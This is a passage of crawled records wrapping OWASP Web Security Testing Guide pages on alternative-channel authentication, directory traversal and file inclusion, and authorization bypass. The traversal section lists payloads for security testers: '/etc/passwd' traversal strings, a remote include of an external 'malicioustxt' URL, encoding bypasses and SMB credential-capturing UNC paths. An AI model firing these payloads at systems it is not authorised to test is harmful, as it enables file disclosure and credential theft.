Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 4965, "slov": 738, "odkazu": 179, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:26", "sha256": "08492b0717d0b2df795b86e538067fdcb02ab40d49114ed59e6b29bfc21bfe69", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/10-Testing_for_Weaker_Authentication_in_Alternative_Channel", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/10-Testing_for_Weaker_Authentication_in_Alternative_Channel", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/10-Testing_for_Weaker_Authentication_in_Alternative_Channel", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "04-Authentication Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Weaker Authentication in Alternative Channel"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Example"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Understand the Primary Mechanism"}, {"uroven": 3, "text": "Identify Other Channels"}, {"uroven": 3, "text": "Enumerate Authentication Functionality"}, {"uroven": 3, "text": "Review and Test"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.2\n\n# Testing for Weaker Authentication in Alternative Channel\n\n| ID |\n| --- |\n| WSTG-ATHN-10 |\n\n## Summary\n\nEven if the primary authentication mechanisms do not include any vulnerabilities, it may be that vulnerabilities exist in alternative legitimate authentication user channels for the same user accounts. Tests should be undertaken to identify alternative channels and, subject to test scoping, identify vulnerabilities.\n\nThe alternative user interaction channels could be utilized to circumvent the primary channel, or expose information that can then be used to assist an attack against the primary channel. Some of these channels may themselves be separate web applications using different hostnames or paths. For example:\n\n- Standard website\n- Mobile, or specific device, optimized website\n- Accessibility optimized website\n- Alternative country and language websites\n- Parallel websites that utilize the same user accounts (e.g. another website offering different functionally of the same organization, a partner website with which user accounts are shared)\n- Development, test, UAT and staging versions of the standard website\n\nBut they could also be other types of application or business processes:\n\n- Mobile device app\n- Desktop application\n- Call center operators\n- Interactive voice response or phone tree systems\n\nNote that the focus of this test is on alternative channels; some authentication alternatives might appear as different content delivered via the same website and would almost certainly be in scope for testing. These are not discussed further here, and should have been identified during information gathering and primary authentication testing. For example:\n\n- Progressive enrichment and graceful degradation that change functionality\n- Site use without cookies\n- Site use without JavaScript\n- Site use without plugins such as for Flash and Java\n\nEven if the scope of the test does not allow the alternative channels to be tested, their existence should be documented. These may undermine the degree of assurance in the authentication mechanisms and may be a precursor to additional testing.\n\n## Example\n\nThe primary website is `http://www.example.com` and authentication functions always take place on pages using TLS `https://www.example.com/myaccount/`.\n\nHowever, a separate mobile-optimized website exists that does not use TLS at all, and has a weaker password recovery mechanism `http://m.example.com/myaccount/`.\n\n## Test Objectives\n\n- Identify alternative authentication channels.\n- Assess the security measures used and if any bypasses exists on the alternative channels.\n\n## How to Test\n\n### Understand the Primary Mechanism\n\nFully test the website’s primary authentication functions. This should identify how accounts are issued, created or changed and how passwords are recovered, reset, or changed. Additionally knowledge of any elevated privilege authentication and authentication protection measures should be known. These precursors are necessary to be able to compare with any alternative channels.\n\n### Identify Other Channels\n\nOther channels can be found by using the following methods:\n\n- Reading site content, especially the home page, contact us, help pages, support articles and FAQs, T&Cs, privacy notices, the robots.txt file and any sitemap.xml files.\n- Searching HTTP proxy logs, recorded during previous information gathering and testing, for strings such as “mobile”, “android”, blackberry”, “ipad”, “iphone”, “mobile app”, “e-reader”, “wireless”, “auth”, “sso”, “single sign on” in URL paths and body content.\n- Use search engines to find different websites from the same organization, or using the same domain name, that have similar home page content or which also have authentication mechanisms.\n\nFor each possible channel confirm whether user accounts are shared across these, or provide access to the same or similar functionality.\n\n### Enumerate Authentication Functionality\n\nFor each alternative channel where user accounts or functionality are shared, identify if all the authentication functions of the primary channel are available, and if anything extra exists. It may be useful to create a grid like the one below:\n\n| Primary | Mobile | Call Center | Partner Website |\n| --- | --- | --- | --- |\n| Register | Yes | - | - |\n| Log in | Yes | Yes | Yes(SSO) |\n| Log out | - | - | - |\n| Password reset | Yes | Yes | - |\n| - | Change password | - | - |\n\nIn this example, mobile has an extra function “change password” but does not offer “log out”. A limited number of tasks are also possible by phoning the call center. Call centers can be interesting, because their identity confirmation checks might be weaker than the website’s, allowing this channel to be used to aid an attack against a user’s account.\n\nWhile enumerating these it is worth taking note of how session management is undertaken, in case there is overlap across any channels (e.g. cookies scoped to the same parent domain name, concurrent sessions allowed across channels, but not on the same channel).\n\n### Review and Test\n\nAlternative channels should be mentioned in the testing report, even if they are marked as “information only” or “out of scope”. In some cases the test scope might include the alternative channel (e.g. because it is just another path on the target host name), or may be added to the scope after discussion with the owners of all the channels. If testing is permitted and authorized, all the other authentication tests in this guide should then be performed, and compared against the primary channel.\n\nThe test cases for all the other authentication tests should be utilized.\n\n## Remediation\n\nEnsure a consistent authentication policy is applied across all channels so that they are equally secure.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5743, "slov": 829, "odkazu": 178, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:27", "sha256": "96dec978ac07d2d68829840ecb43c00d5449d7a5e3200052ec203edd542c8d99", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/README", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "04-Authentication Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.4 Authentication Testing"}], "markdown": "# WSTG - v4.2\n\n# 4.4 Authentication Testing\n\n4.4.1 [Testing for Credentials Transported over an Encrypted Channel](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/01-Testing_for_Credentials_Transported_over_an_Encrypted_Channel)\n\n4.4.2 [Testing for Default Credentials](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/02-Testing_for_Default_Credentials)\n\n4.4.3 [Testing for Weak Lock Out Mechanism](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism)\n\n4.4.4 [Testing for Bypassing Authentication Schema](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/04-Testing_for_Bypassing_Authentication_Schema)\n\n4.4.5 [Testing for Vulnerable Remember Password](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/05-Testing_for_Vulnerable_Remember_Password)\n\n4.4.6 [Testing for Browser Cache Weaknesses](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses)\n\n4.4.7 [Testing for Weak Password Policy](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/07-Testing_for_Weak_Password_Policy)\n\n4.4.8 [Testing for Weak Security Question Answer](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/08-Testing_for_Weak_Security_Question_Answer)\n\n4.4.9 [Testing for Weak Password Change or Reset Functionalities](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/09-Testing_for_Weak_Password_Change_or_Reset_Functionalities)\n\n4.4.10 [Testing for Weaker Authentication in Alternative Channel](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/10-Testing_for_Weaker_Authentication_in_Alternative_Channel)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2184, "slov": 156, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:16", "sha256": "7cdf6b259b073f2ccb8d7875cb18f782b170e6f94da829af4d5668f89632dbb7", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "05-Authorization Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.5 Authorization Testing"}], "markdown": "# WSTG - v4.2\n\n# 4.5 Authorization Testing\n\n4.5.1 [Testing Directory Traversal File Include](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include)\n\n4.5.2 [Testing for Bypassing Authorization Schema](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema)\n\n4.5.3 [Testing for Privilege Escalation](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/03-Testing_for_Privilege_Escalation)\n\n4.5.4 [Testing for Insecure Direct Object References](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 918, "slov": 63, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:34", "sha256": "837f3cca4636f64305bd55bb8d78154d0648b2cf74ddb73178772ce8e247eeda", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/01-Testing_Directory_Traversal_File_Include", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "05-Authorization Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing Directory Traversal File Include"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Input Vectors Enumeration"}, {"uroven": 4, "text": "Testing Techniques"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.2\n\n# Testing Directory Traversal File Include\n\n| ID |\n| --- |\n| WSTG-ATHZ-01 |\n\n## Summary\n\nMany web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read or write files that are not intended to be accessible. In particular situations, it could be possible to execute arbitrary code or system commands.\n\nTraditionally, web servers and web applications implement authentication mechanisms to control access to files and resources. Web servers try to confine users’ files inside a “root directory” or “web document root”, which represents a physical directory on the file system. Users have to consider this directory as the base directory into the hierarchical structure of the web application.\n\nThe definition of the privileges is made using Access Control Lists (ACL) which identify which users or groups are supposed to be able to access, modify, or execute a specific file on the server. These mechanisms are designed to prevent malicious users from accessing sensitive files (for example, the common `/etc/passwd` file on a UNIX-like platform) or to avoid the execution of system commands.\n\nMany web applications use server-side scripts to include different kinds of files. It is quite common to use this method to manage images, templates, load static texts, and so on. Unfortunately, these applications expose security vulnerabilities if input parameters (i.e., form parameters, cookie values) are not correctly validated.\n\nIn web servers and web applications, this kind of problem arises in path traversal/file include attacks. By exploiting this kind of vulnerability, an attacker is able to read directories or files which they normally couldn’t read, access data outside the web document root, or include scripts and other kinds of files from external websites.\n\nFor the purpose of the OWASP Testing Guide, only the security threats related to web applications will be considered and not threats to web servers (e.g., the infamous `%5c` escape code into Microsoft IIS web server). Further reading suggestions will be provided in the references section for interested readers.\n\nThis kind of attack is also known as the dot-dot-slash attack (`../`), directory traversal, directory climbing, or backtracking.\n\nDuring an assessment, to discover path traversal and file include flaws, testers need to perform two different stages:\n\n1. Input Vectors Enumeration (a systematic evaluation of each input vector)\n2. Testing Techniques (a methodical evaluation of each attack technique used by an attacker to exploit the vulnerability)\n\n## Test Objectives\n\n- Identify injection points that pertain to path traversal.\n- Assess bypassing techniques and identify the extent of path traversal.\n\n## How to Test\n\n### Black-Box Testing\n\n#### Input Vectors Enumeration\n\nIn order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application that accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms.\n\nHere are some examples of the checks to be performed at this stage:\n\n- Are there request parameters which could be used for file-related operations?\n- Are there unusual file extensions?\n- Are there interesting variable names?\n - `http://example.com/getUserProfile.jsp?item=ikki.html`\n - `http://example.com/index.php?file=content`\n - `http://example.com/main.cgi?home=index.htm`\n- Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates?\n - `Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower`\n - `Cookie: USER=1826cc8f:PSTYLE=GreenDotRed`\n\n#### Testing Techniques\n\nThe next stage of testing is analyzing the input validation functions present in the web application. Using the previous example, the dynamic page called `getUserProfile.jsp` loads static information from a file and shows the content to users. An attacker could insert the malicious string `../../../../etc/passwd` to include the password hash file of a Linux/UNIX system. Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the file system privileges, the web application itself must be able to read the file.\n\nTo successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting `/etc/passwd` from an IIS web server.\n\n```\nhttp://example.com/getUserProfile.jsp?item=../../../../etc/passwd\n```\n\nFor the cookies example:\n\n```\nCookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd\n```\n\nIt’s also possible to include files and scripts located on external website:\n\n```\nhttp://example.com/index.php?file=http://www.owasp.org/malicioustxt\n```\n\nIf protocols are accepted as arguments, as in the above example, it’s also possible to probe the local filesystem this way:\n\n```\nhttp://example.com/index.php?file=file:///etc/passwd\n```\n\nIf protocols are accepted as arguments, as in the above examples, it’s also possible to probe the local services and nearby services:\n\n```\nhttp://example.com/index.php?file=http://localhost:8080\nhttp://example.com/index.php?file=http://192.168.0.2:9080\n```\n\nThe following example will demonstrate how it is possible to show the source code of a CGI component, without using any path traversal characters.\n\n```\nhttp://example.com/main.cgi?home=main.cgi\n```\n\nThe component called `main.cgi` is located in the same directory as the normal HTML static files used by the application. In some cases the tester needs to encode the requests using special characters (like the `.` dot, `%00` null, etc.) in order to bypass file extension controls or to prevent script execution.\n\n**Tip:** It’s a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first the test string isn’t successful, try another encoding scheme.\n\nEach operating system uses different characters as path separator:\n\n- Unix-like OS:\n - root directory: `/`\n - directory separator: `/`\n- Windows OS:\n - root directory: `:`\n - directory separator: `\\` or `/`\n- Classic macOS:\n - root directory: `:`\n - directory separator: `:`\n\nWe should take in to account the following character encoding mechanisms:\n\n- URL encoding and double URL encoding\n - `%2e%2e%2f` represents `../`\n - `%2e%2e/` represents `../`\n - `..%2f` represents `../`\n - `%2e%2e%5c` represents `..\\`\n - `%2e%2e\\` represents `..\\`\n - `..%5c` represents `..\\`\n - `%252e%252e%255c` represents `..\\`\n - `..%255c` represents `..\\` and so on.\n- Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)\n - `..%c0%af` represents `../`\n - `..%c1%9c` represents `..\\`\n\nThere are other OS and application framework specific considerations as well. For instance, Windows is flexible in its parsing of file paths.\n\n- Windows shell: Appending any of the following to paths used in a shell command results in no difference in function:\n - Angle brackets `<` and `>` at the end of the path\n - Double quotes (closed properly) at the end of the path\n - Extraneous current directory markers such as `./` or `.\\\\`\n - Extraneous parent directory markers with arbitrary items that may or may not exist:\n - `file.txt`\n - `file.txt...`\n - `file.txt`\n - `file.txt\"\"\"\"`\n - `file.txt<<<>>><`\n - `./././file.txt`\n - `nonexistant/../file.txt`\n- Windows API: The following items are discarded when used in any shell command or API call where a string is taken as a filename:\n - periods\n - spaces\n- Windows UNC Filepaths: Used to reference files on SMB shares. Sometimes, an application can be made to refer to files on a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked. These may also be used with a self-referential IP address or domain name to evade filters, or used to access files on SMB shares inaccessible to the attacker, but accessible from the web server.\n - `\\\\server_or_ip\\path\\to\\file.abc`\n - `\\\\?\\server_or_ip\\path\\to\\file.abc`\n- Windows NT Device Namespace: Used to refer to the Windows device namespace. Certain references will allow access to file systems using a different path.\n - May be equivalent to a drive letter such as `c:\\` , or even a drive volume without an assigned letter: `\\\\.\\GLOBALROOT\\Device\\HarddiskVolume1\\`\n - Refers to the first disc drive on the machine: `\\\\.\\CdRom0\\`\n\n### Gray-Box Testing\n\nWhen the analysis is performed with a gray-box testing approach, testers have to follow the same methodology as in black-box testing. However, since they can review the source code, it is possible to search the input vectors more easily and accurately. During a source code review, they can use simple tools (such as the *grep* command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.\n\n- `PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...`\n- `JSP/Servlet: java.io.File(), java.io.FileReader(), ...`\n- `ASP: include file, include virtual, ...`\n\nUsing online code search engines (e.g., [Searchcode](https://searchcode.com/)), it may also be possible to find path traversal flaws in Open Source software published on the Internet.\n\nFor PHP, testers can use the following regex:\n\n```\n(include|require)(_once)?\\s*['\"(]?\\s*\\$_(GET|POST|COOKIE)\n```\n\nUsing the gray-box testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard black-box assessment.\n\nSome web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and **safe** but are not in reality.\n\nAdditionally, by reviewing the source code it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.\n\nConsider a web application with these instructions:\n\n```\nfilename = Request.QueryString(\"file\"); Replace(filename, \"/\",\"\\\");\nReplace(filename, \"..\\\",\"\");\n```\n\nTesting for the flaw is achieved by:\n\n```\nfile=....//....//boot.ini\nfile=....\\\\....\\\\boot.ini\nfile= ..\\..\\boot.ini\n```\n\n## Tools\n\n- [DotDotPwn - The Directory Traversal Fuzzer](https://github.com/wireghoul/dotdotpwn)\n- [Path Traversal Fuzz Strings (from WFuzz Tool)](https://github.com/xmendez/wfuzz/blob/master/wordlist/Injections/Traversal.txt)\n- [OWASP ZAP](https://www.zaproxy.org/)\n- [Burp Suite](https://portswigger.net)\n- Enconding/Decoding tools\n- [String searcher “grep”](https://www.gnu.org/software/grep/)\n- [DirBuster](https://wiki.owasp.org/index.php/Category:OWASP_DirBuster_Project)\n\n## References\n\n### Whitepapers\n\n- [phpBB Attachment Mod Directory Traversal HTTP POST Injection](https://seclists.org/vulnwatch/2004/q4/33)\n- [Windows File Pseudonyms: Pwnage and Poetry](https://www.slideshare.net/BaronZor/windows-file-pseudonyms)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11263, "slov": 1553, "odkazu": 187, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:09:28", "sha256": "4b3a170f358cec5d22f82f044371bb674f6e2032f59f53001e7a5e495b628f1e", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://searchcode.com/", "https://github.com/wireghoul/dotdotpwn", "https://github.com/xmendez/wfuzz/blob/master/wordlist/Injections/Traversal.txt", "https://www.zaproxy.org/", "https://portswigger.net/", "https://www.gnu.org/software/grep/", "https://wiki.owasp.org/index.php/Category:OWASP_DirBuster_Project", "https://seclists.org/vulnwatch/2004/q4/33", "https://www.slideshare.net/BaronZor/windows-file-pseudonyms", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "05-Authorization Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Bypassing Authorization Schema"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Testing for Horizontal Bypassing Authorization Schema"}, {"uroven": 3, "text": "Testing for Vertical Bypassing Authorization Schema"}, {"uroven": 4, "text": "Banking Site Roles Scenario"}, {"uroven": 4, "text": "Administrator Page Access"}, {"uroven": 3, "text": "Testing for Access to Administrative Functions"}, {"uroven": 3, "text": "Testing for Access to Resources Assigned to a Different Role"}, {"uroven": 4, "text": "4. Other Headers to Consider"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing for Bypassing Authorization Schema\n\n| ID |\n| --- |\n| WSTG-ATHZ-02 |\n\n## Summary\n\nThis kind of test focuses on verifying how the authorization schema has been implemented for each role or privilege to get access to reserved functions and resources.\n\nFor every specific role the tester holds during the assessment and for every function and request that the application executes during the post-authentication phase, it is necessary to verify:\n\n- Is it possible to access that resource even if the user is not authenticated?\n- Is it possible to access that resource after the log-out?\n- Is it possible to access functions and resources that should be accessible to a user that holds a different role or privilege?\n\nTry to access the application as an administrative user and track all the administrative functions.\n\n- Is it possible to access administrative functions if the tester is logged in as a non-admin user?\n- Is it possible to use these administrative functions as a user with a different role and for whom that action should be denied?\n\n## Test Objectives\n\n- Assess if horizontal or vertical access is possible.\n\n## How to Test\n\n- Access resources and conduct operations horizontally.\n- Access resources and conduct operations vertically.\n\n### Testing for Horizontal Bypassing Authorization Schema\n\nFor every function, specific role, or request that the application executes, it is necessary to verify:\n\n- Is it possible to access resources that should be accessible to a user that holds a different identity with the same role or privilege?\n- Is it possible to operate functions on resources that should be accessible to a user that holds a different identity?\n\nFor each role:\n\n1. Register or generate two users with identical privileges.\n2. Establish and keep two different sessions active (one for each user).\n3. For every request, change the relevant parameters and the session identifier from token one to token two and diagnose the responses for each token.\n4. An application will be considered vulnerable if the responses are the same, contain same private data or indicate successful operation on other users’ resource or data.\n\nFor example, suppose that the `viewSettings` function is part of every account menu of the application with the same role, and it is possible to access it by requesting the following URL: `https://www.example.com/account/viewSettings`. Then, the following HTTP request is generated when calling the `viewSettings` function:\n\n```\nPOST /account/viewSettings HTTP/1.1 Host: www.example.com [other HTTP headers] Cookie: SessionID=USER_SESSION\n\nusername=example_user\n```\n\nValid and legitimate response:\n\n```\nHTTP1.1 200 OK\n[other HTTP headers]\n\n{\n \"username\": \"example_user\",\n \"email\": \"example@email.com\",\n \"address\": \"Example Address\"\n}\n```\n\nThe attacker may try and execute that request with the same `username` parameter:\n\n```\nPOST /account/viewCCpincode HTTP/1.1\nHost: www.example.com\n[other HTTP headers]\nCookie: SessionID=ATTACKER_SESSION\n\nusername=example_user\n```\n\nIf the attacker’s response contain the data of the `example_user`, then the application is vulnerable for lateral movement attacks, where a user can read or write other user’s data.\n\n### Testing for Vertical Bypassing Authorization Schema\n\nA 